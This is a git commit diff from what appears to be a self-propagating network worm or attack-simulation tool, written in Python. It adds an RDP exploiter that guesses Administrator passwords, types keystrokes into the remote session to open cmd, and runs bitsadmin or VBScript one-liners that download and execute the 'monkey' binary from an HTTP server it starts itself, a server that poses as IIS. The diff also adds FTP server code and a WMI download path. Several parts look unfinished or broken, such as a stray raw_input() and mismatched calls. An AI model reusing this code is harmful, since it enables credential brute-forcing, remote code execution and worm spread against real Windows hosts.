- rdp exploitation

- http file transfer
- ftp server code for future support
This commit is contained in:
Barak Hoffer 2015-09-07 10:25:25 +03:00
parent 120d259b65
commit 01bc17f80c
10 changed files with 584 additions and 53 deletions

View File

@ -1,2 +1 @@
c:\Python27\python -m PyInstaller.main --name monkey -F -y --clean -i monkey.ico main.py
move /Y dist\monkey.exe "%allusersprofile%\desktop\monkey.exe"

View File

@ -3,7 +3,7 @@ import os
import sys
import ntpath
from network.range import ClassCRange, RelativeRange, FixedRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter
from network import TcpScanner, PingScanner
__author__ = 'itamar'
@ -39,7 +39,7 @@ class WormConfiguration(object):
max_iterations = 2
scanner_class = TcpScanner
exploiter_classes = WmiExploiter, SmbExploiter, Ms08_067_Exploiter
exploiter_classes = (RdpExploiter, )
# how many victims to look for in a single scan iteration
victims_max_find = 14
@ -57,9 +57,7 @@ class WormConfiguration(object):
#range_class = RelativeRange
#range_size = 8
range_class = FixedRange
range_fixed = ("192.168.122.15", "192.168.122.17", "192.168.122.14", "192.168.122.9",
"192.168.144.8", "192.168.144.11", "192.168.144.12",
"192.168.166.10", "192.168.166.12", "192.168.166.11")
range_fixed = ("10.15.1.94", )
# TCP Scanner
tcp_target_ports = [445, 135]
@ -81,4 +79,4 @@ class WormConfiguration(object):
# psexec exploiter
psexec_user = "Administrator"
psexec_passwords = ["1234", "password", "Password1!", "password", "12345678"]
psexec_passwords = ["Password1!", "1234", "password", "password", "12345678"]

View File

@ -13,3 +13,4 @@ class HostExploiter(object):
from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter
from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter

View File

@ -1,53 +1,166 @@
import time
import socket
import threading
import cffi
import os.path
import twisted.python.log
import rdpy.core.log as rdpy_log
from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from rdpy.core.error import RDPSecurityNegoFail
from logging import getLogger
from exploit import HostExploiter
from exploit.tools import HTTPTools
from model import RDP_CMDLINE_HTTP_BITS
from model.host import VictimHost
__author__ = 'hoffer'
__author__ = 'itamar'
KEYS_INTERVAL = 0.1
MAX_WAIT_FOR_UPDATE = 120
KEYS_SENDER_SLEEP = 0.01
DOWNLOAD_TIMEOUT = 60
LOG = getLogger(__name__)
class RDPClient(rdp.RDPClientObserver):
def __init__(self, controller, width, height):
super(RDPClient, self).__init__(controller)
def twisted_log_func(*message, **kw):
if kw.has_key('isError') and kw['isError']:
error_msg = 'Unknown'
if kw.has_key('failure'):
error_msg = kw['failure'].getErrorMessage()
LOG.error("Error from twisted library: %s" % (error_msg,))
else:
LOG.debug("Message from twisted library: %s" % (str(message),))
def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,))
twisted.python.log.msg = twisted_log_func
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
rdpy_log.log = rdpy_log_func
# thread for twisted reactor, create once.
global g_reactor
g_reactor = threading.Thread(target=reactor.run, args=(False,))
class ScanCodeEvent(object):
def __init__(self, code, is_pressed=False, is_special=False):
self.code = code
self.is_pressed = is_pressed
self.is_special = is_special
class CharEvent(object):
def __init__(self, char, is_pressed=False):
self.char = char
self.is_pressed = is_pressed
class SleepEvent(object):
def __init__(self, interval):
self.interval= interval
class WaitUpdateEvent(object):
def __init__(self, updates=1):
self.updates = updates
pass
def str_to_keys(orig_str):
result = []
for c in orig_str:
result.append(CharEvent(c,True))
result.append(CharEvent(c,False))
result.append(WaitUpdateEvent())
return result
class KeyPressRDPClient(rdp.RDPClientObserver):
def __init__(self, controller, keys, width, height, addr):
super(KeyPressRDPClient, self).__init__(controller)
self._keys = keys
self._addr = addr
self._update_lock = threading.Lock()
self._wait_update = False
self._keys_thread = threading.Thread(target=self._keysSender)
self._keys_thread.daemon = True
self._width = width
self._height = height
self._last_update = 0
self.closed = False
self.success = False
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
print "onUpdate", destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, len(data)
update_time = time.time()
self._update_lock.acquire()
self._last_update = update_time
self._wait_for_update = False
self._update_lock.release()
def _keysSender(self):
while True:
if self.closed:
return
if len(self._keys) == 0:
reactor.callFromThread(self._controller.close)
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
return
key = self._keys[0]
self._update_lock.acquire()
time_diff = time.time() - self._last_update
if type(key) is WaitUpdateEvent:
self._wait_for_update = True
self._update_lock.release()
key.updates -= 1
if key.updates == 0:
self._keys = self._keys[1:]
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
self._wait_for_update = False
self._update_lock.release()
if type(key) is ScanCodeEvent:
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special)
elif type(key) is CharEvent:
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
elif type(key) is SleepEvent:
time.sleep(key.interval)
self._keys = self._keys[1:]
else:
self._update_lock.release()
time.sleep(KEYS_SENDER_SLEEP)
def onReady(self):
"""
@summary: Call when stack is ready
"""
print "onReady"
pass
def onClose(self):
"""
@summary: Call when stack is close
"""
print "onClose"
self.success = len(self._keys) == 0
self.closed = True
def closeEvent(self, e):
print "closeEvent", e
def onSessionReady(self):
self._last_update = time.time()
self._keys_thread.start()
class RDPClientFactory(rdp.ClientFactory):
def __init__(self):
self._username = "Administrator"
self._password = "Password1!"
self._domain = ""
class CMDClientFactory(rdp.ClientFactory):
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
self._username = username
self._password = password
self._domain = domain
self._keyboard_layout = "en"
self._optimized = False
self._security = "rdp" # "ssl"
self._width = 200
self._height = 200
def __repr__(self):
return "<RDPClientFactory %dx%d>" % (self._width, self._height)
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
self._keys = [ScanCodeEvent(91,True,True),
ScanCodeEvent(19,True),
ScanCodeEvent(19,False),
ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
ScanCodeEvent(28,False), WaitUpdateEvent()] + str_to_keys(command+"&exit") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
ScanCodeEvent(28,False), WaitUpdateEvent()]
self._optimized = optimized
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
self._nego = True
self._client = None
self._width = width
self._height = height
self.done_event = threading.Event()
self.success = False
def buildObserver(self, controller, addr):
"""
@ -59,19 +172,101 @@ class RDPClientFactory(rdp.ClientFactory):
"""
#create client observer
self._client = RDPClient(controller, self._width, self._height)
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
controller.setUsername(self._username)
controller.setPassword(self._password)
controller.setDomain(self._domain)
controller.setKeyboardLayout(self._keyboard_layout)
controller.setHostname(socket.gethostname())
controller.setHostname(addr.host)
if self._optimized:
controller.setPerformanceSession()
controller.setSecurityLevel(self._security)
return self._client
def clientConnectionLost(self, connector, reason):
#try reconnect with basic RDP security
if reason.type == RDPSecurityNegoFail and self._nego:
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % (connector.host, connector.port))
#stop nego
self._nego = False
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
connector.connect()
return
reactor.connectTCP("10.0.0.1", 3389, RDPClientFactory())
reactor.run()
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
self.success = self._client.success
self.done_event.set()
def clientConnectionFailed(self, connector, reason):
LOG.debug("RDP connection to %s:%s failed, with error: %s" % (connector.host, connector.port, reason.getErrorMessage()))
self.success = False
self.done_event.set()
class RdpExploiter(HostExploiter):
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, src_path, port=3389):
global g_reactor
assert isinstance(host, VictimHost)
if not g_reactor.is_alive():
g_reactor.daemon = True
g_reactor.start()
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
command = RDP_CMDLINE_HTTP_BITS % {'monkey_name': os.path.basename(src_path), 'http_path' : http_path}
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
exploited = False
for password in passwords:
try:
# run command using rdp.
LOG.info("Trying rdp logging into victim %r with user"
" %s and password '%s'", host,
self._config.psexec_user, password)
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
reactor.connectTCP(host.ip_addr, port, client_factory)
client_factory.done_event.wait()
if client_factory.success:
exploited = True
break
except Exception, exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host,
self._config.psexec_user, password, exc)
continue
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
if not exploited:
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
return False
elif http_thread.downloads == 0:
LOG.info("Trying rdp logging into victim %r with user"
" %s and password '%s'", host,
self._config.psexec_user, password)
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
return False
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), host)
return True

View File

@ -3,6 +3,11 @@ import os
import ntpath
import pprint
import logging
import os.path
import socket
import urllib
from difflib import get_close_matches
from transport import HTTPServer
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.smbconnection import SMBConnection, SMB_DIALECT
@ -16,7 +21,6 @@ __author__ = 'itamar'
LOG = logging.getLogger(__name__)
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
@ -342,3 +346,17 @@ class SmbTools(object):
dce.bind(srvs.MSRPC_UUID_SRVS)
return dce
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=4444):
if None == local_ip:
local_hostname = socket.gethostname()
local_ip = get_close_matches(host.ip_addr, socket.gethostbyname_ex(local_hostname)[2])[0]
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd

View File

@ -3,10 +3,10 @@ import socket
import ntpath
import logging
import traceback
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException
from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException
LOG = logging.getLogger(__name__)
@ -66,13 +66,16 @@ class WmiExploiter(HostExploiter):
password,
src_path,
self._config.dropper_target_path)
remote_full_path = False
if not remote_full_path:
wmi_connection.close()
return False
remote_full_path = self._config.dropper_target_path
http_path = HTTPTools.create_transfer(host,
src_path,
remote_full_path)
cmdline = MONKEY_CMDLINE_HTTP % {'http_path': http_path, 'monkey_path': remote_full_path}
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower():
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
@ -86,6 +89,7 @@ class WmiExploiter(HostExploiter):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
success = True
raw_input()
else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)

View File

@ -6,5 +6,8 @@ DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s !SystemRoot!\\%%(monkey_name)s&&start /b !SystemRoot!\\%%(monkey_name)s %s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "!SystemRoot!\\%%(monkey_name)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Exec("cmd /c !SystemRoot!\\%%(monkey_name)s %s")>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
from host import VictimHost

View File

@ -0,0 +1,5 @@
__author__ = 'hoffer'
from ftp import FTPServer
from http import HTTPServer

View File

@ -0,0 +1,171 @@
import os,socket,threading,time
import StringIO
__author__ = 'hoffer'
class FTPServer(threading.Thread):
def __init__(self, local_ip, local_port, files):
self.files=files
self.cwd='/'
self.mode='I'
self.rest=False
self.pasv_mode=False
self.local_ip = local_ip
self.local_port = local_port
threading.Thread.__init__(self)
def run(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind((self.local_ip,self.local_port))
self.sock.listen(1)
self.conn, self.addr = self.sock.accept()
self.conn.send('220 Welcome!\r\n')
while True:
if 0 == len(self.files):
break
cmd=self.conn.recv(256)
if not cmd: break
else:
try:
func=getattr(self,cmd[:4].strip().upper())
func(cmd)
except Exception,e:
self.conn.send('500 Sorry.\r\n')
break
self.conn.close()
self.sock.close()
def SYST(self,cmd):
self.conn.send('215 UNIX Type: L8\r\n')
def OPTS(self,cmd):
if cmd[5:-2].upper()=='UTF8 ON':
self.conn.send('200 OK.\r\n')
else:
self.conn.send('451 Sorry.\r\n')
def USER(self,cmd):
self.conn.send('331 OK.\r\n')
def PASS(self,cmd):
self.conn.send('230 OK.\r\n')
#self.conn.send('530 Incorrect.\r\n')
def QUIT(self,cmd):
self.conn.send('221 Goodbye.\r\n')
def NOOP(self,cmd):
self.conn.send('200 OK.\r\n')
def TYPE(self,cmd):
self.mode=cmd[5]
self.conn.send('200 Binary mode.\r\n')
def CDUP(self,cmd):
self.conn.send('200 OK.\r\n')
def PWD(self,cmd):
self.conn.send('257 \"%s\"\r\n' % self.cwd)
def CWD(self,cmd):
self.conn.send('250 OK.\r\n')
def PORT(self,cmd):
if self.pasv_mode:
self.servsock.close()
self.pasv_mode = False
l=cmd[5:].split(',')
self.dataAddr='.'.join(l[:4])
self.dataPort=(int(l[4])<<8)+int(l[5])
self.conn.send('200 Get port.\r\n')
def PASV(self,cmd):
self.pasv_mode = True
self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.servsock.bind((local_ip,0))
self.servsock.listen(1)
ip, port = self.servsock.getsockname()
self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
(','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
def start_datasock(self):
if self.pasv_mode:
self.datasock, addr = self.servsock.accept()
else:
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.datasock.connect((self.dataAddr,self.dataPort))
def stop_datasock(self):
self.datasock.close()
if self.pasv_mode:
self.servsock.close()
def LIST(self,cmd):
self.conn.send('150 Here comes the directory listing.\r\n')
self.start_datasock()
for fn in self.files.keys():
k=self.toListItem(fn)
self.datasock.send(k+'\r\n')
self.stop_datasock()
self.conn.send('226 Directory send OK.\r\n')
def toListItem(self,fn):
fullmode='rwxrwxrwx'
mode=''
d='-'
ftime=time.strftime(' %b %d %H:%M ', time.gmtime())
return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn
def MKD(self,cmd):
self.conn.send('257 Directory created.\r\n')
def RMD(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def DELE(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def SIZE(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def RNFR(self,cmd):
self.conn.send('350 Ready.\r\n')
def RNTO(self,cmd):
self.conn.send('250 File renamed.\r\n')
def REST(self,cmd):
self.pos=int(cmd[5:-2])
self.rest=True
self.conn.send('250 File position reseted.\r\n')
def RETR(self,cmd):
fn = cmd[5:-2]
if self.mode=='I':
fi=self.files[fn]
else:
fi=self.files[fn]
self.conn.send('150 Opening data connection.\r\n')
if self.rest:
fi.seek(self.pos)
self.rest=False
data= fi.read(1024)
self.start_datasock()
while data:
self.datasock.send(data)
data=fi.read(1024)
fi.close()
del self.files[fn]
self.stop_datasock()
self.conn.send('226 Transfer complete.\r\n')
def STOR(self,cmd):
fn = cmd[5:-2]
fo = StringIO.StringIO()
self.conn.send('150 Opening data connection.\r\n')
self.start_datasock()
while True:
data=self.datasock.recv(1024)
if not data: break
fo.write(data)
fo.seek(0)
self.stop_datasock()
self.conn.send('226 Transfer complete.\r\n')

View File

@ -0,0 +1,137 @@
import urllib, BaseHTTPServer, threading, os.path
import shutil
import struct
from logging import getLogger
__author__ = 'hoffer'
LOG = getLogger(__name__)
class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
filename = ""
def version_string(self):
return "Microsoft-IIS/7.5."
@staticmethod
def report_download():
pass
def do_POST (self):
self.send_error (501, "Unsupported method (POST)")
return
def do_GET(self):
"""Serve a GET request."""
f, start_range, end_range = self.send_head()
if f:
f.seek(start_range, 0)
chunk = 0x1000
total = 0
while chunk > 0:
if start_range + chunk > end_range:
chunk = end_range - start_range
try:
self.wfile.write(f.read(chunk))
except:
break
total += chunk
start_range += chunk
if f.tell() == os.fstat(f.fileno()).st_size:
self.report_download()
f.close()
def do_HEAD(self):
"""Serve a HEAD request."""
f, start_range, end_range = self.send_head()
if f:
f.close()
def send_head(self):
if self.path != '/'+urllib.quote(os.path.basename(self.filename)):
self.send_error (500, "")
return
f = None
try:
# Always read in binary mode. Opening files in text mode may cause
# newline translations, making the actual size of the content
# transmitted *less* than the content-length!
f = open(self.filename, 'rb')
except IOError:
self.send_error(404, "File not found")
return (None, 0, 0)
fs = os.fstat(f.fileno())
size = int(fs[6])
start_range = 0
end_range = size
if "Range" in self.headers:
s, e = self.headers['range'][6:].split('-', 1)
sl = len(s)
el = len(e)
if sl > 0:
start_range = int(s)
if el > 0:
end_range = int(e) + 1
elif el > 0:
ei = int(e)
if ei < size:
start_range = size - ei
if start_range == 0 and end_range - start_range >= size:
self.send_response(200)
else:
self.send_response(206)
else:
self.send_response(200)
self.send_header("Content-type", "application/octet-stream")
self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size))
self.send_header("Content-Length", min(end_range - start_range, size))
self.end_headers()
return (f, start_range, end_range)
def log_message(self, format, *args):
LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(),
self.log_date_time_string(),
format % args))
class InternalHTTPServer(BaseHTTPServer.HTTPServer):
def handle_error(self, request, client_address):
#ToDo: find a better error message.
#LOG.debug("HTTPServer error from %s:%s" % client_address)
pass
class HTTPServer(threading.Thread):
def __init__(self, local_ip, local_port, filename, max_downloads=1):
self._local_ip = local_ip
self._local_port = local_port
self._filename = filename
self.max_downloads = max_downloads
self.downloads = 0
self._stopped = False
threading.Thread.__init__(self)
def run(self):
class TempHandler(FileServHTTPRequestHandler):
filename = self._filename
@staticmethod
def report_download():
self.downloads+=1
httpd = InternalHTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
self._stopped = True
def stop(self, timeout=60):
self._stopped = True
self.join(timeout)